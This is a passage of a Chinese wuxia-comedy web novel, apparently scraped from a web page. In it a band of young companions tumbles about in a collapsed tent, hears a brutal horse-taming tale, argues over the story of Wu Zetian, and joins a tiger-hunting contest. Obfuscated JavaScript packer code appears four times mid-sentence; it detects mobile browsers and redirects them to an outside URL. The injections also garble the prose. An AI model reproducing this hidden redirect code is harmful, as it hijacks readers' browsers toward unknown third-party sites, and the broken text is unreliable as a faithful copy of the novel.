困难的根源是谁,照照镜子好不好。打我认识你开始,你就整天没困难找困难,小困难闹大,大困难作死,能不辛苦?没苦死,是上天的仁慈,你还感慨上了!我严重怀疑,你师父早逝,有你的功劳。 “可是,花铁铁你不想做鹤,我们也没想做鸡啊,我们……”柳延年说完就觉得用词不对,便住了口。 堂邑夫往我这边挪了挪,和柳延年保持距离。 我们虽然都很反对花铁铁的言论,但柳花郎的发言,大家都默契地没接茬,因为这话不管怎么接都很难不做鸡。赞同的话,我们默认已经是鸡群里的一员了,反驳的话,那岂不是表明想做鸡? 可是就这么保持沉默,好像也不太对劲…… 我气得不行,心中暴跳:我草,我才是那个掉进傻子堆儿里的人吧?大傻叉这是什么操作啊,千古第一阳谋,搬这么大块儿石头砸自己,顺道砸队友,跟我们这么大仇吗,柳延年?柳大傻叉?排第二,你排屁,你最后,呸,最后也没你的份儿,你不列入排名,你没资格,对,你连排名的资格都不配有,哼! 我顿时觉得,花铁铁那句“傻子不配和我做朋友”的含金量,还是挺高的。 柳延年大概是想给自己找补找补,于是尴尬地清了清嗓子,叹了口气道:“唉,你们都有第一想守护的人,或者排在第一被人守护,可怜我天生仙骨,却没有能第一守护的人,也没有人来第一守护,唉,孤独啊孤独,鹤立鸡群,孑然一身,不能融入也不被接受的感觉,果然孤独!” 他给人一种,想故作高深,却智力不够的感觉。果然,确实是个傻子。 “喂喂喂,不对吧,作为男人呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803584|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能期盼排在第一被人守护吧。”堂邑夫觉得柳延年思路逻辑不对。 郑清也道:“对,作为男人,要有守护重要之人的能力,我如今已经四品,假以时日,便可突破五品。”平安立即拍手小声称赞她的清哥哥好棒。 “……对啊,这样一来,感觉好像我们都是鹤,那唯一的那个鸡……”花铁铁故意拉着长音。 帐子这时一片寂静,只听得几声雕鸮的咕咕声。 “我不许你们这样说花郎!”平安朗声打破沉寂,她还是向着柳延年的。 哎,一群傻子,智商不高还搞起分裂来了。“好啦好啦,柳延年是遭遇不幸,才没有能力守护别人还要被人守护的,我们要爱护他,心疼他。要不是被南塘摄政王妹坏了仙根,他也不会这么弱鸡!”我来打圆场,一锤定音。 “嘤嘤嘤……” 瞧,柳延年都被我的正义凛然感动哭了! “别哭啦,别哭啦,有我在,正义可能会迟到,但一定不会缺席的。”我安慰着柳延年,他却嘤嘤嘤得哭得更加感动了。好吧,随他去吧。 柳延年哭得花铁铁心情大好,她便又给我们说了几个段子,逗得我们乐不可支。 不得不说,花铁铁的段子除了有点少儿不宜,其实挺搞笑的,我问她哪里听的,她说是南唐象姑馆里面帅气英俊的小哥哥给她讲的,说以后有机会带我们一起去玩。 于是我顿时期待起来,花铁铁接下来的段子,我都有很配合的猜,很卖力的笑。 帐子里,又掀起一波一波,此起彼伏的笑潮…… 花铁铁说,这些段子,她攒了好些年了,前两年,还去上郡李椒给我立的衣冠冢坟前说来着,她说当时她坐在碑前,和我闲话家常一样,说着说着就哭了,哭着哭着就笑了,跟个疯子一般。 “还是那句话,你还活着,真好。”花铁铁枕着胳膊,翘着二两退,故作轻松道。 可我分明看见她眼里闪着泪光,说话略带鼻音。 “咱们都好好活着,才是真的好。”我道:“从今天开始,我们六个就是一家人,一家人整整齐齐,都要好好活着。” “我也算一家人嘛?”柳延年低声问道。 “当然了!”我们大家异口同声。 柳延年终于一扫阴霾,兴奋地睡意全无,拿出吉他,给我们唱了一首他自己作词作曲的《少年游》。 曲词新颖,开朗,光明,豁达,少年意气,胸有山河,挥斥方遒,豪情万丈,振奋人心。 我们对柳延年极尽夸赞,毫不吝啬溢美之词。柳延年眉头舒展,一扫前霾。 “可是,你都好一把年纪了,算什么少年郎?”花铁铁就是喜欢请人喝半生不熟的水,不然也不会这么喜欢提那不开的壶。 “我才二十五,什么就一把年纪了!?”被人说老,总是会炸毛的,柳延年黑了脸。 我们这里最小的是平安十六岁,我和花铁铁郑清都是十七岁,堂邑夫十八岁,柳延年二十五岁,确实比我们大了很多。 “哎呦,别不开心嘛,以后你就是我们一家人里的老大哥,不挺好的嘛?还请大哥哥多多照拂。”平安真是贴心。 55. 武则天 “大哥!”既然我妹妹发话了,那我自然第一个捧场。 “大哥!”“大哥!”堂邑夫和郑清也都恭恭敬敬喊了柳延年一声大哥。 柳延年感动的声泪俱下。 花铁铁虽然不情愿,但也仰着下巴低声跟着叫了一声。哼,谁叫她哪壶不开提哪壶,这下给自己认了个大哥,还是她看不上眼的人。呵呵,搬石头砸自己的脚,那种感觉一定很爽吧,你看,爽得眼睛一闪一闪的直翻白眼。 堂邑夫侧躺着,枕着胳膊呲着牙笑弯了眉,满眼宠溺地看着花铁铁,也不觉得一闪一闪亮晶晶的白眼吓人了。 我贴心地往下出溜,好让堂邑夫可以靠花铁铁更近一点儿,谁知下一刻便被花铁铁提上来,砸在我的小枕头上,踏踏实实按住,把堂邑夫挡得严严实实。 郑清起身要去给马儿添夜草,堂邑夫和柳延年跟着去帮忙。柳延年一打开帐子,就示意堂邑夫和郑清都别动。 柳延年怯怯地小声问道:“那是什么?” 有情况?!不等堂邑夫和郑清回应,我和平安花铁铁,我们三个也赶紧起来,将头探出帐子看。 我们六个人,上下排成一排。最下面是柳延年,然后依次是堂邑夫郑清平安花铁铁,以及花铁铁背上的我。 篝火还剩下一点小火苗,借着那点微弱的火光,只见远处的枯树干上,落了一只雕鸮。 堂邑夫小声道:“大哥,这东西你和平安不是在书上见过吗?” 平安和柳延年疑惑地“嗯?”了一下。便听花铁铁稀松平常地朗声呵呵笑道。“柳延年,你不用怕,那就是你和平安口中呆萌可爱的猫头鹰。” 话音刚落,只见那雕鸮的头缓缓转了过来…… “啊……”“啊……”“啊……” 一声是平安和柳延年的,一声是雕鸮的,一声是我们其他人的。 雕鸮转头的时候,身子是不动的,头部直接旋转过来,像断了一样,配上阴森而巨大的眼睛,样子十分诡异恐怖。 顿时,吓得柳延年和长安忍不住尖叫,这声尖叫吓坏了雕鸮,雕鸮一个惊起,振翅俯冲对着我们飞撞而来。 我们几个会武的,同时蓄力出手,结果也不知道打没打到雕鸮,反正帐子是给打塌了。 一家人整整齐齐——全压在了帐子里,像粽子一样被牢牢裹住…… “哎呦……”“别蹬我……”“踹到我小胯了……”“啊,压死我啦……” “谁摸我屁股……”“谁屁股做我脸上了……” “我快喘不过气来了……”“出口在哪里啊……” “都别慌,一个一个来……”“我擦,这是我衣襟,不是帐子口,不要乱扯……” “这特么是我裤绳,求放过……” 大家混乱起来。我们人太多,这么小的空间,气不够用,平安已经很难受了,柳花郎也憋闷的不行,得赶紧出去,可是越急越乱,越乱越急…… 终于花铁铁提议道:“我看我用内力……” “不行!帐子给你震碎了,咱们也都光腚了……”我立即警觉。 “都是一家人,我控制点力度,黑天半夜的……”花铁铁觉得光腚也没啥,出去要紧。 “不行!!!”众人异口同声否决花铁铁。“还是慢慢找出口吧,我脸上的屁股也不是很重……”“对,反正闲着……也是闲着,你们也……不是很重……我不嫌压……我能挺住……还是慢慢来吧……” “好,咱们慢慢来,别放屁就行!”我提醒道。 花铁铁羞愤地质问我,“长安你哪壶不开提哪壶是不是?” “我只是好心提醒,毕竟大家挤在一处……再说你不捡这屎盆子,谁能知道你关键时刻爱放屁的秘密啊?”我一边说着一边摸索帐子的出口。 只听——花铁铁大叫一声:“我掐!” “啊,花铁铁你掐的是我屁股。” “我咬!” “啊,铁铁,你咬到我胸口了。” “我……” “啊……” 先是柳延年,然后是堂邑夫,最后连郑清都遭殃了。 “啊,清哥哥,铁铁怎么你哪了?”平安心疼地询问郑清。 “没……啊……”郑青刚要说没事,紧接着又一声痛叫。 平安不乐意了,“铁铁你放过清哥哥吧,他们都挨了一下,凭啥我清哥哥两下?!” 花铁铁低声道,“我又拧错胳膊了!” 我奶声奶气地问道:“铁铁,你到底是想报复我,还是想趁机对他们三个干点啥?我就在你背上,很难找吗?” “趴我腚上的是你啊?哼哼哼……”花铁铁坏坏地笑起来。 不然我提醒你不要放屁干什么?随着花铁铁越来越魔性的笑意,我不祥的预感,越来越甚,赶紧疾语道:“别放屁熏我你屁太臭了你要是敢放屁我就去死……” “啊哈哈哈……”花铁铁根本不管我,只笑得更奸诈了,我明显感觉到她腰腹臀部都在用力,酝酿。 我即刻进入战斗状态,想着,不行我就在最后一刻,用内力震碎帐子,然后把他们都打晕,等给他们穿好衣服,再把他们叫醒……反正,花铁铁的大臭屁,我是不会再吃了,死都不会吃! 好在平安及时挺身而出,“铁铁,你有……气先忍忍,等出去再说吧!现在谁也不许搞内斗,齐心协力出去!” 平安下达指示。 我们大家必须:“遵命!!!” 终于,我们一个一个安然地爬了出来,“劫后余生,心有余悸”的柳延年和平安,再也不觉得猫头鹰呆萌可爱了,我们给快灭的篝火添柴火,让火光大一点,这样雕鸮就不敢来了。然后重新搭帐子。 郑清喂马回来,夸小黑懂事儿了好多,平安问花铁铁是怎么把小黑驯服的,我们大家都很好奇。 花铁铁说别人驯马只用皮鞭,她则不然,除了皮鞭她还准备了铁蒺藜和大铡刀,和一头大倔驴。 她也不卖关子,她性子急,不等我们张口问,她就继续道:她在皇家马场一眼就相中了小黑,可是小黑老也不给她骑,她试了几次都失败了,但她坚决不肯放弃,就牵着小黑四处闲逛,正愁怎么驯服。 走着走着,到了一处庄子,看见街上一头驴犯倔,主人如何鞭打也不服管,于是她就花高价买了下来。 那驴果然倔的很,牵着不走,打着倒退。于是花铁铁把小黑栓好,就从一边的铁匠铺,买来铁蒺藜和大铡刀,铁蒺藜是庄子民兵防患野兽的,大铡刀是农户用来铡草料的。 花铁铁当着小黑的面驯教倔驴,第一次不服驯,就用皮鞭抽打,第二次就用铁蒺藜击打,第三次就直接砍杀了。 然后,花铁铁就拿着大铡刀指了指小黑,小黑躁动地跺着蹄子,向后退缩,然后花铁铁试着骑上马背,它只顿了一下,稍稍躲了躲,不等花铁铁扬起的大铡刀落下,就乖乖顺从了。 花铁铁将铡刀扔的老远,骑上小黑的马背,小黑不肯奔驰,于是花铁铁抽出腰间的锁子长鞭,将地上粘血的铁蒺藜取来,小黑又吓得一个激灵,顿了顿,然后花铁铁让它跑,它就跑,让它停,它就停,乖巧极了。 随后,花铁铁满意地丢下铁蒺藜,策马扬鞭,绝尘而去。 我问:“驴呢?” “不知道啊。”花铁铁驯服了小黑,当时光顾着高兴,回来和我显摆,早把那头驴给忘了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811465|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “大傻子,天上的龙肉,地上的驴肉,我记得你那天还馋肉来着,怎么就没想着吧驴弄回来吃,驴皮还能熬些阿胶给平安补气血呢。真是大傻子。”我撅着嘴埋怨。 可平安和柳延年听了花铁铁驯马的前因后果,一脸震惊,相互对视,然后缓缓道:“这个情节,我觉得有点像……”“武则天!” 我们问什么武则天。平安和柳延年给我们讲述了武则天驯马的故事,然后说这个武则天最后当皇帝了。当然故事还是出自遗失的典籍。 我惊道:“当皇帝?!”平安和柳延年生活过的那个世界,居然有女人当皇帝? 花铁铁也道:“女人怎么能当皇帝呢?” 平安和柳延年异口同声地反问道:“女人为什么不能当皇帝呢?” 堂邑夫再次反问道:“女人为什么能当皇帝呢?” 平安和柳延年又又反问道:“女人怎么就不能当皇帝了?” 我和郑清觉得再这样呛呛下去,怕是会吵架,就赶紧喊停。可是不解决疑惑,此事难了,于是平安就叫柳延年,把女皇武则天的故事给我们娓娓道来。 柳延年又不经意地露出一丝优越感,好像我们是什么“思想落后,未经开化”的原始人一样。要不是看在他故事讲得好的份儿上,我想我会狠狠地揍他。 “啧啧,武则天伺候完爹,又跟了儿子,当了尼姑,还能再次入宫,做了正妻当了皇后,最后当了皇帝?还真是传奇啊。”花铁铁简直震惊的不行。 我心中对武则天崇拜敬佩不已,却不动声色,不发一言。 “好乱~伦啊!”堂邑夫道。 “这有什么,太阳底下哪有新鲜事儿,皇家多的是辛秘,还有原本是儿子发妻,却被皇帝公爹看上,奉旨做了道姑,最后进宫当了贵妃的呢!”平安道。 “对啊,这样的故事不少,我要不等回去排成歌剧……”柳延年兴奋不已,似乎是觉得又找到了好题材。 这等奇人奇事,岂可传将天下,人尽皆知?若是哪位女性上位者受到启发……比如太后那个权柄滔天的老妇,那还了得?再又其他后宫掌权的女人……没有武则天的本事,却有武则天的野心,天下岂不再次大乱? 我心中警钟大作,赶紧收回思绪,打断柳延年,阻止道:“得得得,我们这些行走江湖出身,无规无矩,见多不怪的人,对这等事,都不能轻易接受,你还编成歌剧,到处演出,你要作死吗? 我大汉虽然民风开放,歌舞剧内容也向来宽泛,但这等故事,不管发生在大唐还是哪个朝代,都涉及皇室伦理,就算是纯属虚构,你的歌剧一经问世,也极易被误认为是影射污化皇家,那得掀起多少风波?到时不等你赚钱拿银子,你就要被官府问责,定罪论斩了。” 平安转了转眼睛,想到什么似得,低声对柳延年劝诫:“是这个道理,花郎,你还是不要写了,曹公的《红楼梦》,没有朝代背景,也都被认定是影射清庭皇族,最后被列入禁书……”柳延年闻言随即认可,也觉得自己有很多挣钱的路子,不必要冒这个风险。 那……谁是曹公,什么《红楼梦》?蜻蜓还有皇族?我追着问,可是平安三言两语把我打发了,只说,她刚才在帐子里又憋又压,难受的禁,这会儿没心思,没气力讲,以后再和我细细说来。 我看着平安有些苍白的脸和嘴唇,给她把了把脉,拿出一个理气舒心的清气丸给她。我的药丸有奇效,但毕竟霸道,平安更适合食疗,姑娘家柔弱,长大成人,来了癸水,都会亏损气血,最好是常年服用阿胶。 于是我又埋怨花铁铁把驴扔了,不然那驴皮能给平安熬好些阿胶,花铁铁说以后一定给我弄几张上好的驴皮。 56. 分组 大概是武则天的故事对我们冲击太大,我们看着篝火,沉默不语,听着柴火燃烧的噼里啪啦的声音,各有思绪。 花铁铁托着脸幽幽道:“其实我还挺想看武则天歌剧的,想来比《梁祝》、《白蛇传》、《神话西游》还要精彩,你们也太杞人忧天了,女人当皇帝这么假的故事,就算编成歌剧也只不过是供人消遣,谁信啊,我以前听戏,说成王败寇,说史书都是赢的人写的,武则天的故事到底是假的,要是真的,她都是皇帝了,干什么不叫史官把她侍奉父子的不论之事抹去呢?” “那是历史,是历史!自古史官最是刚正不阿,杀头都不怕,不畏强权所震慑,历史不是谁赢了谁就能随意更改的,不是谁想抹杀就能抹杀……啊……”平安说到激情处,陡然站起身来,话没说完,便扶额站立不稳,摇摇欲坠。 气血不足的女孩子,有时乍一站起来,就容易头晕,我和花铁铁赶紧扶她坐下。 我让她赶紧把清气丸吃了,她不情愿地说闻着味道不好不想吃,见我黑着脸不乐意地斜眼瞪她,她才一口吞下,郑清忙递上水来,给她冲服。 “不是残卷上的故事嘛,干什么搞得和真历史似得?这么义愤?”堂邑夫被平安方才的忽然之举有些吓到,不理解地问。 服下药,刚恢复气力的平安明显慌了一下,柳延年见了赶紧道:“哎呀,历史不就是故事吗,且不说历史能不能被抹杀,真情能不能被掩盖,那可是武则天,都是皇帝了,她一生的经历,跌宕起伏,宛如是神迹一般的存在,有什么不能昭告天下的。 她第一任丈夫几乎是大唐的开国皇帝了,睡了开国皇帝是什么很丢脸的事情吗?就算我是男的,此生也没可能当皇帝,但若是有幸睡了开国皇帝,或者被开国皇帝睡了,我都不觉得是丢人的事,需要什么遮羞布。 虽然不会沾沾自喜,引以为傲,但与有荣焉啊。史书照实写,我觉得是对我的尊重,起码是承认这件事和我本人的存在。 再说武则天两任丈夫都是皇帝,她自己是皇帝,她两个儿子也是皇帝,孙子也是皇帝。她在任期间政绩卓越,吏治清明,开创盛世,万国来贺,此等功德,不光明正大的写入青史,彪炳春秋,还等什么? 敢为天下先,为人所不能,你们都觉得女人不能当皇帝,可人家武则天偏偏就做了皇帝,还睡了父子,还深得人父子俩儿爱信,多不可思议,你们越不可思议,不越证明武则天的伟大吗? 我要是武则天,我巴不得史书写得越详尽越好,必定要让后人对我女帝的传奇一生,一览无余,让所有人看了,都如你们一般,难以置信,震惊不已,无以相仿,独此一人。” “对,前无古人后无来者,开天辟地只此一人。”平安豪放道:“花郎你总结的真好,我也是这么想的。” 前无古人后无来者,开天辟地只此一人!我心里不断重复这句话,晚上也没睡得多踏实。 一路上,有平安和柳延年给我们讲述那些“遗失残卷”里的奇闻轶事,旅途更加轻松愉快。 到了汉中地界儿,我们先将马匹送往馆驿登记,寄养。 皇家马匹,赶路神速,但高头骏马非凡品,十分扎眼,又有皇家标识,继续骑着招摇,实在不便,我们便另行购置马匹,租赁马车,还易了容。 我们原本都是江湖上有头有脸响当当的人物,认识我们的不在少数,可我们已经退出江湖了,又带着郑清和平安柳延年一起出来,未免多事,易容很有必要。 花铁铁扮作男子,以假乱真,但是平安就一眼假了,于是花铁铁让柳延年男扮女装当小姐,平安让妆做丫头,这样外人的注意力都集中在人高马大、国色天香的柳延年身上。平安反倒会更加自在一些。 花铁铁是护卫,骑着高头大马领队,堂邑夫和郑清扮作车马夫,我则还是个小僮子,但花铁铁觉得我的太俊俏了,就给我弄了一字连环眉扮丑,看着果然逊色许多。 汉中郡凤临城,降龙伏虎大会,声势不小,南唐北汉各路英雄豪杰,都云集于此,城里的客栈,人满为患……说是人满为患,客栈的房间却都空着,人都降龙伏虎去了。我们问了好多家客栈,都是看着空空如也,客房却全定出去了。 倒是医馆药馆酒馆,人头攒动,更为忙碌…… 于是,我们直接赁了一个院子,安顿好后赶往降龙伏虎大会参加典礼。 承办大会的接待人员,大概接待了太多人,眼下有些疲倦惫懒,随意看了我们一眼,问了几个问题,将我们登记在册,接着有人引我们去誓师大会典礼台下,说了声请便,便退下了。 再看其他与会人员,都是这般情形,没有被轻慢,但也没有受到礼遇。 堂邑夫去打探消息回来,说:这个降龙伏虎大会,已经开始好一段时间了,可以个人,也可以组队上山伏虎或下江降龙,到目前为止无人选择下江降龙,都上山伏虎去了。我们之前,已经有几批人前去伏虎,不是至今未归,就是铩羽而回。 说是降龙伏虎大会,其实只有伏虎,毕竟大家都不傻,自己几斤几两还是有数的,官府和富绅承办此次大会,原本也只侧重伏虎,大会名字上加一个降龙,一是汉中确有蛟龙出没,二是为了造势,大会名字上加上降龙二字,不仅对仗工整,还更显威严气势。 我想主要应该就是为了这一点。 花铁铁有些扫兴,觉得没赶上第一波,受冷待了。 堂邑夫倒觉得没啥,说咱来的正是时候,前面那些人,这些日子车轮战,怕是把那山君也打乏了,咱们正好去收拾收拾。 花铁铁瞥了堂邑夫一眼,然后一脸我才不要捡人剩饭吃的样子。 不等我劝说花铁铁把精力都用在伏虎上,降龙就算了吧。典礼台下两侧的大鼓就被擂响了。 汉中郡凤临城的长官和承办此次大会的富商代表,面无表情,麻木呆板地以此上台,几人在台上推推让让,问谁还没主持谁上。说都主持过了。问是从头再来一遍,还是如何?说已经第二遍了,这次手心手背吧。 于是我们在台下,看着台上的人一轮一轮地手心手背,最终选出主持。再看着主持不情不愿地拿着文书,敷衍了事地念了一段誓师大会誓词,然后燃烧敬天祭文,敲了几下鼓,大会仪式就结束了。 然后就有让底下的高手们分组。单打独斗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815869|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站左边,组队的站右边。 大部分高手们都选择单打独斗,他们自恃有本事,有些趾高气扬,壮志待酬的样子。有些看不上组队的这边。 组队的不多,但却默契的,都和我们这一队,保持开距离,很看不上我们的样子。于是我们这一队六人,竟被孤立出来,便显得十分扎眼了。 连台上的人,也觉得我们不像是江湖人,眼神里竟充满鄙夷与不屑,似是而非地嘲弄地笑着。 我气得不行,回头一看,却也只能作罢,队友确实是不给力—— 丫鬟平安挽着小姐柳延年的胳膊,她们虽然都带着面纱,但被这么多人看,难免紧张,平安羞答答的低着头,柳延年也总觉得不自在,老想往平安身后躲,扭扭捏捏的样子很不上台面,再看郑清,堂邑夫,花铁铁三个白面少年,俊俏有余,壮实不足。 郑清茫然地四处张望,看着呆傻,堂邑夫看着花铁铁失神,十分花痴,花铁铁抱臂托着下巴,正在思考什么,对外界的一切都不作反应,不在状态。 有人哈哈大笑,说嘴上连个毛也没有,大腿还没他们胳膊粗,也来降龙伏虎?啊哈哈哈,怕是谁家的少爷小姐,听说了降龙伏虎大会,来凑热闹玩儿来了。 如此台上的人互相对视,又定睛看了看我们,然后叫来负责登记在册的管事询问,还翻阅册子查看,再三确定不是汉中谁家少爷小姐出来瞎胡闹,也就罢了。 我觉得整个团队,就只能指望我了,昂首挺胸上前一步,却不知谁说了一句:“就这小猴还不错。” 你小猴,你们全家都是小猴。 不等我发飙,台上主持又宣布规则,不论分组还是个人,都要领取旗帜,旗帜一式两份,或写上姓名,或写上队名。一只旗子留在祭坛,一只旗子我们随身带着。 我们队伍名字叫齐天大圣,我领完旗子回来一看,其他原本组队的也都拆队,选择单打独斗了。 问则回答说是凤主曾言猛兽向来独行,牛羊才成群结队。说着还合手向天拱手一礼,以显尊敬!其实就是觉得如果要和我们这种队伍一个档次,那队伍不组也罢。 转眼,右边就只剩下我们六个人了,被孤立,被不屑,还被排挤…… 花铁铁回过神来,气得不行,想在降龙伏虎前,先把这些狗眼看人低的乌合之众给掀翻,却被平安稳住了。 接下来是选择降龙伏虎意向,选择伏虎的站左边,选择降龙的站右边。我刚要抬步去左边,便被花铁铁揪着领子拎回来。我挣扎着,低声警告她,不要胡来,非要带着队伍去左边。 台上主持以为我们队伍中有人没听清规则,又将规则念了一遍。我们队却依旧傻傻地站着不动,除了我这个“小猴”。 台上有人觉得主持循规蹈矩多此一举,应该省略这一环节,直接都选伏虎,就没有降龙什么事儿了。也有人庆幸,说不知是谁家大人没看好,跑出来这些傻孩子,不过可以保住命了,他们去降龙,到了江边,多半连龙都找不到,游船转一圈,累了就回来了。若是上山,遇上山君,那便凶多吉少了。 其他人觉得很对,都跟着附和,一脸慈祥地看着我们。 57. 巨树 花铁铁自来好胜要强,被人如此轻视,她更要拼死一搏,必是要捏着蛟龙咽喉回来,耍鞭子似的甩一甩,打脸这些人。 我脑海中瞬间有了画面,不过不是花铁铁甩蛟龙,而是蛟龙叼着花铁铁,左右抡圆了甩麻花!花铁铁转得跟风车一样…… 不行,去降龙,绝对不是保命,花铁铁搅浑江水也会把蛟龙找出来,去伏虎才是! 我要伏虎,我要伏虎…… 你伏个屁,花铁铁用力按住我,坚决道:不蒸馒头争口气,就选降龙了。 你蒸个屁,降个屁啊,不要被怒气冲昏了头脑!咱们去伏虎,把山君打回来,也会让人刮目相看的。我非是不从继续挣扎。说好取山君的虎鞭给主子补身体的,我就要伏虎! 花铁铁说待她取了龙珠,主子服下,身强体健,长生不死,那事更不在话下。 柳延年见我们拉扯,弱弱地提议要不分成两组。我和花铁铁却统一战线,都不同意拆队。争议声渐大,引得众人侧目…… “啊哈哈哈……你们看,就他们还纠结降龙还是伏虎呢?” “不是纠结,看着好像没商量好是降龙还是伏虎,哈哈哈,起了争执,还要拆队,怕是内讧!” “就他们六个弱鸡子,还拆什么队,内什么讧啊,他们怎么选,结局都那样,不是给虎当点心,就是给龙塞牙缝。” “啊哈哈哈……” 我们被群嘲!!! “哼!我们不是内讧,是降龙伏虎都要选!”花铁铁懒懒地说道。都要选?我眼睛一转,想着只要同意伏虎就行,至于降龙,再说吧。于是不再挣扎! 花铁铁此言一出,会场上沉寂片刻,旋即,“啊哈哈哈……”众人又发出雷鸣般的笑声。 “成群的牛马,焉知猛兽之志!”堂邑夫朗声道。 “就是,乌泱泱一群人,笑话我们这唯一的队伍,也不知害臊。”柳延年夹着嗓子道。 众人讪讪,一时分不清谁是“牛羊”,谁是“猛兽”!又不好争辩,只对我们依旧充满鄙夷,觉得我们就会逞能耍嘴皮子,他们反倒一副大人不记小人过,不争口舌之快的样子。 花铁铁负手而立,翩翩少年,神采俊逸,看都不看那些高手,只对着台上的人,道:“可以出发了吗?” 我们领取了两张地图,一张是上山伏虎图,画的还算详尽,另一张是匆忙赶制出来的下江降龙图,只粗粗画了大概的水系,圈了一个大体方位,圈子中心是一条蚯蚓一样的斗鸡眼大头龙。跟三岁小儿,胡乱画的没啥区别。这特么也算地图啊,就凭着这张地图,上哪找龙去,等找到了,花铁铁孙子都满地跑了。 早知如此,刚才我就不与花铁铁争执了。 各路人马匆匆上路,我们则回到院子,又一番准备。上山伏虎,要在山中停留数日,若是只有我和花铁铁,堂邑夫,郑清,自然轻装上阵。 但是带着平安和柳延年,就不能马虎了。好在平安和柳延年自己也有数,不用我们说,已经备好所需用品。 山高路远,道路崎岖,车马行到山下,上山就要徒步了。安顿好车马,柳延年在山下村子里雇了脚夫,背行李,还赁了两个轿辇,抬着他和平安。 轿夫夸赞柳延年人美心善,说从没见过哪家的小姐,给自己丫鬟也租赁轿辇的。说要不给那小猴也赁一个,他们可以少收点钱。我黑着脸说不用,转头就走。 等到了深山之中,树木茂密低矮,道路全无,平安和柳延年就要跟着我们一起徒步了。我们把他们的包裹分了一下,背在身上,一些实在用不着的,直接送给了脚夫和轿夫,他们又惊又喜,却并不觉的遇上了好人,或者富人,只以为遇上了傻子。 而这,平安和柳延年是不知道的,他们只觉得自己做了善事,而我们习武之人,耳力惊人,行出去好远,也听得到。 走在队伍后面的堂邑夫拉着郑清,要回去揍那些人,东西扔了也不给他们。走在前头的花铁铁和我,让他们算了,少生是非,正事要紧。 为了照顾柳延年和平安,我们放慢速度。一路赏花看水,山间鸟鸣,峡谷湍流,倒也惬意。 山重水复,柳暗花明,不久我们就开始发现老虎的踪迹,但同时也发现之前高手们留下的痕迹。再往里去,就开始与那些高手们偶遇。 有的在大会上见过我们,不禁戏谑:“耶和,还算有点东西,竟到了这里!?” 有的是早前上山的,不认识我们,劝我们速速离开:“这里不是你们来玩的地方,赶紧下山去吧。” 堂邑夫带着郑清继续前行勘察,顺便教他一些本领。 我们则在一棵巨大的,树干直径大约五步开外粗的树下休整。有路过的,说我们果然什么都不懂,居然到这么显眼的地方安置,又是一番嘲笑。 他们懂个屁,这片山林,人来人往,此刻哪里不显眼?有这些人捣乱,山君早猫起来了,不行,得清理清理这些碍眼的才是。 我站在巨树之上,看似悠闲地吹着哨子,远处堂邑夫吹着哨子回应,不一会儿,山林里的高手们,不是崴了脚,就是摔了跤……好多都发生了小意外,虽无关紧要,不碍性命,但继续伏虎却不行了,只能下山。 好多高手悲叹不已,被这等不痛不痒的小伤,耽误了扬名立万,发财致富的机会,真是窝囊死了。 堂邑夫和郑清回来,郑清脸上是激情过后掩饰不住的兴奋,看来是和堂邑夫一起玩得很开心。 平安迎上去对郑清说这么大的树,是有灵气的,于是拉着郑清一起跪拜巨树,祈祷和郑清终成眷属,生儿女育,郑清求取功名,期盼日后能让平安及儿女过上好日子云云。 两人起身牵着手,围着树转了几圈,竟在根干深处,发现一个很小的神庙,经年累月树木生长,小庙已经被粗壮的树根树干严严实实包裹住了,上面布满了青苔,若非平安看得仔细,真就很难发现。 神庙是一块白玉石,整体雕刻而成,年代久远,又被树根包裹,青苔覆盖,但仍然能看出雕工斐然。那神庙虽小,却五脏俱全,和一座大型庙宇,一般无二。 应该是几十年,甚至上百年前,人们供奉在山中的山神庙。后来可能出于战乱,或者山民向外搬迁,等诸多原因,而荒废。 休息片刻,我们继续上路,却开始原地打转,第三次回到巨树下,黄昏已至,我和花铁铁,堂邑夫,看着伏虎图,比对我们自己一路来画的行路途,分析情形,明辨方向,计划策略。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822521|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夕阳西下,暮色绝美。我们索性,就在巨树下过夜,郑清,柳延年和堂邑夫开始搭建帐子,我们三个女孩子准备晚饭。 